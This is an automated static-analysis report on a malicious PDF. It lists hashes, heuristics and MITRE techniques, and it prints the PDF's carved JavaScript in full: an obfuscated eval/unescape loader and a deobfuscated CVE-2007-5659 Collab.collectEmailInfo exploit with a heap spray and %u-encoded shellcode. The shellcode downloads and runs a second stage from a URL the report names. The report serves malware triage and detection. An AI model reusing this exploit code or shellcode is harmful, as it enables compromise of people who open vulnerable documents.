Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e7b87d3d0c74049…

MALICIOUS

PDF

2.4 KB First seen: 2026-05-11
MD5: 996d879a7435a9d98368ffdec1e3b655 SHA-1: cb71200b8e533a3b2f9026e9f2381e66e41f291d SHA-256: 4e7b87d3d0c74049f6bda0842a331ad2129d8d3d178344939a9cff292f91d7d4
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious File

The PDF file contains embedded JavaScript that utilizes the CVE-2007-5659 vulnerability (Collab.collectEmailInfo). This vulnerability is known to allow for arbitrary JavaScript execution within Adobe Reader. The JavaScript is obfuscated using eval() and unescape() functions, and further processed by string concatenation and character extraction, indicating an attempt to download and execute a second-stage payload. The extracted file 'legacy_pdfkit_stage_000.js' also shows signs of script obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://demparten.com/adult/l.php?i=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x854 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2640 bytes
SHA-256: 161f98a41c1901103b0554fbdf6ba459174e0aa9b3f5ca78bed135bfb144e662
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u642f%u6d65%u6170%u7472%u6e65%u632e%u6d6f%u612f%u7564%u746c%u6c2f%u702e%u7068%u693f%u343d%u9000');var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape('%u9090%u9090');yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape('%u0c0c%u0c0c');while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:'', msg:overflow});

Open this report in the interactive analyzer, or submit your own file for analysis.